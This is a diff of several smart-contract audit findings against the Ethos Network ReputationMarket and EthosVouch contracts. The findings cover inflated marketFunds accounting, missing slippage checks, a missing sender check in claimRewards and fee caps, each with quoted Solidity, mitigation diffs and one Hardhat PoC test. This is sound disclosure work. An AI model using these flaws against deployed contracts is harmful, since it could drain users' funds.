+```solidity + (bool success, ) = protocolFeeAddress.call{ value: protocolFee }(""); +``` + +So, the total amount of funds released form the market is the sum of `fundsReceived` and `protocolFee`, which results in an insufficient remaining ether balance in `ReputationMarket` + +### Internal pre-conditions +none + +### External pre-conditions +none + +### Attack Path +none + +### Impact + +An insufficient remaining ether balance in `ReputationMarket` results in a loss of funds for users. + +### PoC + +### Mitigation + +```diff +- marketFunds[profileId] -= fundsReceived; ++ marketFunds[profileId] -= fundsReceived + protocolFee; +``` \ No newline at end of file diff --git a/447.md b/447.md new file mode 100644 index 0000000..af3f962 --- /dev/null +++ b/447.md @@ -0,0 +1,78 @@ +Droll Olive Bobcat + +High + +# Buyers pay more fees unfairly when buying votes. + +### Summary +Buyers pay fees when they buy votes. However, the amount of fee is calculated with the `msg.value`, which leads to loss of fund to buyers. + +### Root Cause +Buyers pay `protocolFee` and `donation` when they buy votes. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L451-L459 +```solidity + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); +``` + +And, the amount of fees is calculated with the `msg.value`. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L960 +```solidity + (fundsAvailable, protocolFee, donation) = previewFees(funds, true); +``` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1146-L1147 +```solidity + function previewFees( + uint256 amount, + bool isEntry + ) private view returns (uint256 funds, uint256 protocolFee, uint256 donation) { + if (isEntry) { +1146: protocolFee = (amount * entryProtocolFeeBasisPoints) / BASIS_POINTS_BASE; +1147: donation = (amount * donationBasisPoints) / BASIS_POINTS_BASE; + } else { + protocolFee = (amount * exitProtocolFeeBasisPoints) / BASIS_POINTS_BASE; + } + funds = amount - protocolFee - donation; + } +``` + +However, the funds sent to market are partially used for buying votes(only `fundsPaid`), which means that the buyers should pay for the amount which is not used for buying. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L970-L977 +```solidity + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } +``` + +### Internal pre-conditions +none + +### External pre-conditions +none + +### Attack Path +none + +### Impact + +Buyers pay more fees unfairly. + +### PoC +none + +### Mitigation + +The amount of fee should be calculated with the amount paid actually for buying. \ No newline at end of file diff --git a/448.md b/448.md new file mode 100644 index 0000000..a3798d3 --- /dev/null +++ b/448.md @@ -0,0 +1,37 @@ +Droll Olive Bobcat + +High + +# Lack of slippage check in `ReputationMarket.sellVotes()`. + +### Summary +The price of votes changes when votes are sold. However, there is no slippage check in the `ReputationMarket.sellVotes()` function, which could result in unexpected loss of fund to sellers. + +### Root Cause +The price of votes changes when votes are sold. If someone sells the same kind of token before a seller, says `TRUST`, the subsequent seller will receive less funds than expected due to the decrease of price. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L920-L923 +```solidity + function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; + return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; + } +``` + +However, there is no slippage check in the `ReputationMarket.sellVotes()` function, which could result in unexpected loss of fund to sellers. + +### Internal pre-conditions +none + +### External pre-conditions +none + +### Attack Path +none + +### Impact +Unexpected loss of fund to sellers. + +### PoC + +### Mitigation +Slippage check should be build on the `ReputationMarket.sellVotes()` function. \ No newline at end of file diff --git a/449.md b/449.md new file mode 100644 index 0000000..72d5992 --- /dev/null +++ b/449.md @@ -0,0 +1,250 @@ +Exotic Wooden Pheasant + +High + +# `ReputationMarket::buyVotes` incorrectly includes protocol and donation fees when tallying market funds, causing DoS or stolen funds + +### Summary + +`ReputationMarket::buyVotes` allows users to buy votes for a given market. Protocol fee and donation fee is taken from the amount spent by the user. + +The protocol fee is sent immediately to the protocol fee address, whereas the donation fee is collected when the donation recipient decides to call `withdrawDonations`. + +The problem is that at the end of the `buyVotes` function, the amount spent by the user, including the `protocol and donation fee` is added to the `marketFunds` for the `profileId` of the given market. + +This is a critical issue because the protocol fees and donation fees are actually not a part of the market funds. So when `withdrawGraduatedMarketFunds` is called by the authorized address to collect the market funds, it will attempt to take more funds than the market holds, which will either DoS due to insufficient funds, or take extra funds away, such as ETH held for donations. + +### Root Cause + +To determine the root cause, let's take a look at what happens when votes are bought: + +[ReputationMarket.sol#L442-L493](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L493) +```javascript + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, +@> uint256 fundsPaid, //@audit fundsPaid includes donation and protocol fee + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + ... + + // Apply fees first + applyFees(protocolFee, donation, profileId); //@audit donation and protocol fees are applied here + + ... + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds +@> marketFunds[profileId] += fundsPaid; //@audit this incorrectly includes protocol and donation fees + ... + } +``` + +Looking at the internal call to `_calculateBuy`: + +[ReputationMarket.sol#L942-L983](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L942-L983) +```javascript + function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable; +@> (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + ... + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } +@> fundsPaid += protocolFee + donation; //@audit protocol fee and donation fee included + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } +``` + +We can see `fundsPaid` includes protocol fee and donation fee. Continuing with the `buyFunds` function call, `applyFees` is called: + +[ReputationMarket.sol#L1116](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1116) +```javascript + function applyFees( + uint256 protocolFee, + uint256 donation, + uint256 marketOwnerProfileId + ) private returns (uint256 fees) { + donationEscrow[donationRecipient[marketOwnerProfileId]] += donation; + if (protocolFee > 0) { + (bool success, ) = protocolFeeAddress.call{ value: protocolFee }(""); + if (!success) revert FeeTransferFailed("Protocol fee deposit failed"); + } + fees = protocolFee + donation; + } +``` + +Fees are applied here by sending the protocol fees directly to `protocolFeeAddress` and updating the donations mapping for the donation recipient, which they can later collect by calling [withdrawDonations()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L570). + +Next, we can see that any extra ETH sent is refunded to the caller `uint256 refund = msg.value - fundsPaid;`. This is precisely why `fundsPaid` includes the donation and fee amount, to ensure that the caller is refunded any unused ETH. + +However, that same amount of `fundsPaid` is added to the `marketFunds` in the next lines: + +`marketFunds[profileId] += fundsPaid;`. + +So the root cause is right here, where the entire fee including the protocol fee and donation fee is added to the market funds. + +When market funds are finally collected, the amount to collect will be inflated (will not correctly reflect the actual amount in the market): + +[ReputationMarket.sol#L655-L678](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L655-L678) +```javascript + /** + * @notice Withdraws funds from a graduated market + * @dev Only callable by the authorized graduation withdrawal address + * @param profileId The ID of the graduated market to withdraw from + */ + function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + address authorizedAddress = contractAddressManager.getContractAddressForName( + "GRADUATION_WITHDRAWAL" + ); + if (msg.sender != authorizedAddress) { + revert UnauthorizedWithdrawal(); + } + _checkMarketExists(profileId); + if (!graduatedMarkets[profileId]) { + revert MarketNotGraduated(); + } + if (marketFunds[profileId] == 0) { + revert InsufficientFunds(); + } + +@> _sendEth(marketFunds[profileId]); //@audit this will attempt to send extra eth that either the contract will not have or will indeed have that should belong for someone else + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); + marketFunds[profileId] = 0; + } +``` + +### Internal pre-conditions + +1. Market exists +2. User buys votes + +### External pre-conditions + +N/A + +### Attack Path + +1. Market is created +2. User buys votes +3. Authorized address calls `withdrawGraduatedMarketFunds` when market is graduated + +### Impact + +Denial of Service when withdrawing market funds via `withdrawGraduatedMarketFunds` due to insufficient funds causing a loss of funds for the entities that are designated to collect these funds. + +If the contract has sufficient funds, then the impact is loss of funds from taking extra funds from the `ReputationMarket` contract, which belong to other entities such as donation recipients. + +### PoC + +Consider the following scenario (these numbers are hypothetical and allow for a simple example): + +1. ReputationMarket currently holds 1 ETH +2. User calls `buyVotes` with 10 ETH. 1 ETH is taken as donation fee, and 1 ETH is taken as protocol fee. `fundsPaid = 10 ETH`. +3. Protocol fee of 1 ETH is sent during `buyVotes` call, so the contract now holds total `10 ETH`. (9 ETH from user + 1 ETH starting). +4. `marketFunds` now equals 10 ETH due to the line `marketFunds[profileId] += fundsPaid`. +5. Donation recipient withdraws 1 ETH that was donated to them, so the contract now holds `9 ETH`. +6. `withdrawGraduatedMarketFunds` is called and attempts to send `marketFunds[profileId] = 10 ETH` to the caller, but since contract holds 9 ETH, it will revert due to insufficient funds. + +Note that if the contract does indeed hold enough ETH, others will suffer, such as donation recipient who will have their ETH stolen. In the example above, if the donation recipient did not withdraw before-hand, it could have been their funds stolen. + +### Mitigation + +Deduct protocol and donation fees before tallying `marketFunds`: + +```diff +function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first + applyFees(protocolFee, donation, profileId); + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds +- marketFunds[profileId] += fundsPaid; ++ marketFunds[profileId] += (fundsPaid - protocolFee - donation); + emit VotesBought( + profileId, + msg.sender, + isPositive, + votesBought, + fundsPaid, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` \ No newline at end of file diff --git a/450.md b/450.md new file mode 100644 index 0000000..97de748 --- /dev/null +++ b/450.md @@ -0,0 +1,41 @@ +Modern Ginger Okapi + +High + +# Due to missing check if authorAddress is msg.sender in claimRewards function any compromisedAddress attached to profileId can withdraw rewards funds leading to loss in funds + +### Summary + +Due to missing check if an authorAddress is msg.sender in claimRewards function if any address gets compromised which is attached to profileId can withdraw rewards funds. This is something that Ethos Protocol does not want to happen that compromised address can withdraw funds as they have included a check for it if authorAddress is msg.sender in [unvouch](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L459) function. + +### Root Cause + +In [claimRewards](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L667) function in EthosVouch.sol:667 the check is missing if authorAddress is msg.sender which leads to if any address attached to that profileId gets compromised then attacker is able to withdraw rewards and breach the motivation of protocol to not let the compromised address attached to profileId withdraw funds for which there is check in unvouch function. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +- The attacker who has access to any address which is attached to particular profileId can withdraw rewards funds attached to that profileId. + +### Impact + +- The profileId owner suffers loss in their rewards funds if one of their address attached to profileId gets compromised which is not what Ethos protocol wants and trying to prevent from it with a check if authorAddress is msg.sender in unvouch function. + +### PoC + +_No response_ + +### Mitigation + +- Add the same [check](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L459) `vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + }` +which is present in unvouch function in [claimRewards](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L667C12-L667C24) function also which prevents in any other address attached to profileId from withdrawing rewards funds even if it gets compromised. +- Instead of sending funds to msg.sender send funds to authorAddress whose logic is at EthosVouch.sol:681 this way even if compromised address calls it funds will still be sent to authorAddress. \ No newline at end of file diff --git a/451.md b/451.md new file mode 100644 index 0000000..309be26 --- /dev/null +++ b/451.md @@ -0,0 +1,43 @@ +Modern Mulberry Seal + +Medium + +# Missing slippage protection on `sellVotes()` + +### Summary + +The `ReputationMarket` contract provides preview functions ([simulateBuy()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L761) and [simulateSell()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L806)) to estimate outcomes before actual transactions ([buyVotes()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442) and [sellVotes()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495)). While [buyVotes()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442) includes slippage protection against price changes between simulation and execution, [sellVotes()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495) lacks this safeguard. While Base L2's private mempool prevents traditional frontrunning, users are still exposed to two risks: + +1. Market volatility between simulation and execution could result in receiving fewer funds than expected +2. The sequencer prioritizes transactions with higher fees ([ref](https://docs.optimism.io/stack/differences#mempool-rules)), allowing users paying higher fees to execute trades first, potentially leading to unfavorable price movements for pending transactions with lower fees. + +### Root Cause + +[sellVotes()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495) is missing slippage protection. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User calls `simulateSell()` to preview expected returns +2. Market experiences high sell volume, causing price decline +3. User submits `sellVotes()` transaction with outdated price expectations +4. Due to missing slippage protection, transaction executes at significantly lower price than simulated, resulting in unexpected losses + +### Impact + +Loss of assets for the affected users. + +### PoC + +_No response_ + +### Mitigation + +Implement a slippage control that allows the users to revert if the amount they received is less than the amount they expected. \ No newline at end of file diff --git a/452.md b/452.md new file mode 100644 index 0000000..f262131 --- /dev/null +++ b/452.md @@ -0,0 +1,142 @@ +Hidden Blonde Mustang + +Medium + +# # Invalid `marketFunds[profileId]`(buyVotes()) + + +### Summary +`marketFunds[profileId]`s calculation is incorrect. + +### Root Cause +In the `buyVotes()` function, `marketFunds[profileId]` is increased to include the fees and donations. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 + +### Internal pre-conditions +N/A + +### External pre-conditions +N/A + +### Attack Path +N/A + +### Impact +The value of `marketFunds[profileId]` is increased to include protocol fees and donations that have already been paid to the protocol and the market owner. +As a result, `marketFunds[profileId]` is greater than actual funds currently invested in this market. +Consequently, the `withdrawGraduatedMarketFunds()` function will withdraw more than intended, which may prevent others from being able to withdraw their funds. +Additionally, votes may not be sold due to insufficient funds. + +### PoC +```solidity +ReputationMarket.sol +660: function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + address authorizedAddress = contractAddressManager.getContractAddressForName( + "GRADUATION_WITHDRAWAL" + ); + if (msg.sender != authorizedAddress) { + revert UnauthorizedWithdrawal(); + } + _checkMarketExists(profileId); + if (!graduatedMarkets[profileId]) { + revert MarketNotGraduated(); + } + if (marketFunds[profileId] == 0) { + revert InsufficientFunds(); + } + +675: _sendEth(marketFunds[profileId]); + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); + marketFunds[profileId] = 0; + } + +442: function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first +464: applyFees(protocolFee, donation, profileId); + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // Calculate and refund remaining funds +477: uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds +481: marketFunds[profileId] += fundsPaid; + [...] + } + +1166: function applyFees( + uint256 protocolFee, + uint256 donation, + uint256 marketOwnerProfileId + ) private returns (uint256 fees) { +1121: donationEscrow[donationRecipient[marketOwnerProfileId]] += donation; + if (protocolFee > 0) { +1123: (bool success, ) = protocolFeeAddress.call{ value: protocolFee }(""); + if (!success) revert FeeTransferFailed("Protocol fee deposit failed"); + } + fees = protocolFee + donation; + } +``` +In the `buyVotes()` function, `marketFunds[profileId]` is increased by all funds sent by the buyer, including protocol fees and donations. + +### Mitigation +```solidity +ReputationMarket.sol +442: function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + [...] +464: applyFees(protocolFee, donation, profileId); + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // Calculate and refund remaining funds +477: uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds +- marketFunds[profileId] += fundsPaid; ++ marketFunds[profileId] += fundsPaid - protocolFee - donation; + [...] + } +``` \ No newline at end of file diff --git a/453.md b/453.md new file mode 100644 index 0000000..699cf6d --- /dev/null +++ b/453.md @@ -0,0 +1,174 @@ +Sweet Carmine Dachshund + +High + +# Any ether withdrawing functions could be DoS'ed due to incorrect fund calculation in `ReputationMarket#buyVotes()` + +### Summary + +Anyone can purchase shares in a new reputation market using Ether. After deducting protocol fees and donation rewards, the remaining paid funds are deposited into the specified market: +```solidity + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first +@> applyFees(protocolFee, donation, profileId);//@audit-info deal with protocolFee and donation + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund);//@audit-info unspent funds will return to buyer + + // tally market funds +@> marketFunds[profileId] += fundsPaid;//@audit-info deposit fund into market + emit VotesBought( + profileId, + msg.sender, + isPositive, + votesBought, + fundsPaid, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` +However, `protocolFee` and `donation` was not deducted from `fundsPaid`, resulting higher value being added to `marketFunds[profileId]`. +Once the market is graduated, its funds might not able to be withdrawn by calling `withdrawGraduatedMarketFunds()` due insufficient ether balance, or success withdrawing might DoS others from withdrawing ether from `ReputationMarket`. + +### Root Cause + +_No response_ + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Any ether withdrawing functions could be DoS'ed due to insufficient ether balance in `ReputationMarket`: +- `sellVotes()` +- `withdrawDonations()` +- `withdrawGraduatedMarketFunds()` + +### PoC + +Copy below into [rep.graduate.test.ts](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/test/reputationMarket/rep.graduate.test.ts) and run `npm run test:contracts`: + +```solidity + it.only('should revert due to insufficient funds', async () => { + + await reputationMarket.connect(deployer.ADMIN).setProtocolFeeAddress(deployer.FEE_PROTOCOL_ACC); + //@audit-info set entry protocol fee to 5% + await reputationMarket.connect(deployer.ADMIN).setEntryProtocolFeeBasisPoints(500); + expect(await reputationMarket.entryProtocolFeeBasisPoints()).to.equal(500); + expect(await reputationMarket.donationBasisPoints()).to.equal(0); + // Add funds through trading + await userA.buyVotes({ buyAmount: ethers.parseEther('0.1') }); + // Graduate market + await reputationMarket.connect(graduator).graduateMarket(DEFAULT.profileId); + //@audit-info there is no enough ether in reputationMarket + const funds = await reputationMarket.marketFunds(DEFAULT.profileId); + const balance = await ethers.provider.getBalance(reputationMarket.getAddress()); + expect(balance).to.lessThan(funds); + //@audit-info Withdraw funds revert due to insufficient ether + await expect( + reputationMarket.connect(graduator).withdrawGraduatedMarketFunds(DEFAULT.profileId), + ).to.be.revertedWith("ETH transfer failed"); + }); +``` + +### Mitigation + +Correct the [`ReputationMarket#buyVotes()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L493): +```diff + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first + applyFees(protocolFee, donation, profileId); + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds +- marketFunds[profileId] += fundsPaid; ++ marketFunds[profileId] += fundsPaid - protocolFee - donation; + emit VotesBought( + profileId, + msg.sender, + isPositive, + votesBought, + fundsPaid, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` \ No newline at end of file diff --git a/454.md b/454.md new file mode 100644 index 0000000..d1ccd07 --- /dev/null +++ b/454.md @@ -0,0 +1,106 @@ +Exotic Wooden Pheasant + +Medium + +# `ReputationMarket::sellVotes` is missing slippage protection + +### Summary + +`ReputationMarket::sellVotes` is missing slippage protection, as opposed to `ReputationMarket::buyVotes`, which correctly uses slippage protection. + +Selling votes must also allow users to set slippage protection, as the vote price can change prior to function execution, causing a loss of funds for users. + +Note that the private mempool of Base L2 can still create conditions where inadequate slippage can lead to loss of funds (i.e, high network congestion leading to delay in price changes) + +### Root Cause + +To determine the root cause, let's look at what happens when selling votes: + +[ReputationMarket.sol#L495-L534](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534) +```javascript + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller +@> _sendEth(fundsReceived); + // tally market funds + marketFunds[profileId] -= fundsReceived; + ... + } +``` + +The internal [_calculateSell](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1003) calculates the votes sold and funds received by calling `_calcVotePrice` to determine the price of the votes being sold: + +[ReputationMarket.sol#L912-L923](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L912-L923) +```javascript + function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; + return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; + } +``` + +We can see that the vote price is determined by `totalVotes` and `market.votes`, both which can change prior to function execution. + +This means that the vote price can significantly decrease prior to a user's `sellVotes` function call, which will cause a loss of funds for them. + +We can therefore determine that the root cause is missing slippage in `sellVotes`. + +### Internal pre-conditions + +N/A + +### External pre-conditions + +N/A + +### Attack Path + +1. User sells votes via `sellVotes` function +2. Vote price decreases prior to execution (i.e, other transactions are executed first) +3. Users votes are sold and receives less funds than expected + +### Impact + +Loss of funds for users due to receiving less funds than expected from selling votes. + +### PoC + +Consider the following scenario (these numbers are hypothetical and allow for a simple example): + +Assume `market.basePrice = 1 ETH`, `totalVotes = 10`, `market.votes[DISTRUST] = 2`, `market.votes[TRUST] = 5`. + +Alice decides to sell her two `market.votes[TRUST]` votes by calling `sellVotes`, expecting to receive `5 * 1 ETH / 10 = 5e17 ETH`. (we will ignore protocol fee in this example for sake of simplicity.) + +Before Alice's transaction is executed, Bob's transaction is executed first, where he is selling two `market.votes[TRUST]` votes. + +This changes the market values to the following: `market.votes[TRUST] = 5 - 2 = 3`, and `totalvotes = 10 - 2 = 8`. + +Alice's transaction is executed, and her votes are sold at a price of `3 * 1 ETH / 8 = 3.750e17 ETH`. + +Alice loses `1.25e17 ETH` in this case. This is a simple example, the price discrepancy can be far greater, causing significant loss of funds to users. + + +### Mitigation + +Allow users to specify slippage for `sellVotes`, such as `minAmountOut` slippage, where the user must receive at least that amount for selling their votes. \ No newline at end of file diff --git a/455.md b/455.md new file mode 100644 index 0000000..6b5ba59 --- /dev/null +++ b/455.md @@ -0,0 +1,50 @@ +Teeny Oily Chipmunk + +Medium + +# max total fees can exceed 10% + +### Summary + +The readMe states that admin must be limited to a max total fees of 10% + +> Maximum total fees cannot exceed 10% + +However the `MAX_TOTAL_FEE` is set to 100% and is immutable, therefore the limitation will not hold. + +### Root Cause + +In EthosVouch.sol ln 120 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +```solidity + uint256 public constant MAX_TOTAL_FEES = 10000; +``` + +The max total fees has been incorrectly set to 100% therefore breaking the limitation that admins can not set max total fees greater than 10% + +### Internal pre-conditions + +none + +### External pre-conditions + +none + +### Attack Path + +1. admin can set max total fees >10% breaking the limitation. + +### Impact + + admin can set max total fees >10% breaking the limitation. + + As stated from the readMe admins should not be able to set max total fees >10% + +### PoC + +_No response_ + +### Mitigation + +change the fee to 10% or 1000 basis points. \ No newline at end of file diff --git a/456.md b/456.md new file mode 100644 index 0000000..12b4b24 --- /dev/null +++ b/456.md @@ -0,0 +1,73 @@ +Hidden Blonde Mustang + +Medium + +# # Missing `WhenNotPaused` modifier. + + +### Summary +The `increaseVouch()` function is missing the `WhenNotPaused` modifier. + +### Root Cause 